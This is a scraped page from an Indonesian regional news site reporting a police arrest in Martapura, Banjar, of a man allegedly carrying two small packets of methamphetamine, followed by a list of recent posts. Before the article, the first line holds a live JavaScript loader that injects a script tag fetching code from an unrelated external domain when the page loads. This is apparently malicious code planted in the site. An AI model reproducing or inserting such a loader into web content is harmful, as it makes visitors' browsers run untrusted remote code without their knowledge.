(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Bawa Paket Sabu, Pemuda Asal Sungai Tiung Diringkus di Kampung Baru


KANALKALIMANTAN.COM, MARTAPURA – Anggota kepolisian dari Satresnarkoba Polres Banjar meringkus seorang pemuda yang sedang melintas di Jalan Kampung Baru, Kelurahan Sungai Paring, Kecamatan Martapura, Kabupaten Banjar, Jumat (4/3/2022) sekitar pukul 02.50 Wita.

Pemuda berinisial SF (27), warga Jalan Mistar Cokrokusumo, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru tersebut, diamankan polisi lantaran diduga membawa barang haram jenis sabu.

Kasi Humas Iptu H Suwarji mengatakan, anggota Satresnarkoba Polres Banjar telah melakukan penggeledahan terhadap SF dan berhasil menemukan barang bukti dua paket sabu dengan berat 0,43 gram atau berat bersih 0,05 gram.

“Saat dilakukan penggeledahan, ditemukan barang bukti yaitu dua paket sabu, setelah ditimbang memiliki berat 0,43 gram atau berat bersihnya 0,05 gram,” katanya, Sabtu (5/3/2022).

 

 

Baca juga: Temuan BPOM, Ini 6 Kopi Saset Mengandung Parasetamol dan Viagra

Iptu Suwarji menjelaskan, SF diduga kuat terlibat dalam perantara transaksi jual beli Narkotika jenis sabu, yang mana barang bukti ditemukan di kantong celana sebelah kiri.

“Hasil penggeledahan tersebut ditemukan pada kantong celana sebelah kiri SF yang berisi sabu yang dibalut dengan satu lembar tisu warna putih dan dibungkus menggunakan satu bungkus bekas kotak rokok,” jelasnya.

Barang bukti lain yang turut diamankan dari pelaku ialah satu buah smartphone berwarna silver merk Redmi, serta satu unit Honda Vario berwarna merah.

Ia menambahkan, dari hasil penggeledahan terduga pelaku barang haram beserta barang bukti itu telah dibawa ke Satnarkoba Polres Banjar guna melanjutkan proses pemeriksaan lebih lanjut.

“Kepada pelaku kami kenakan pasal 114 ayat (1) jo pasal 112 ayat (1) Undang-Undang RI No. 35 Tahun 2009 tentang Narkotika, dengan ancaman pidana paling sedikit 5 tahun dan paling banyak 20 tahun dan denda 1 miliar,” pungkasnya (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

12 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

12 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

17 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

19 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

19 jam ago

This website uses cookies.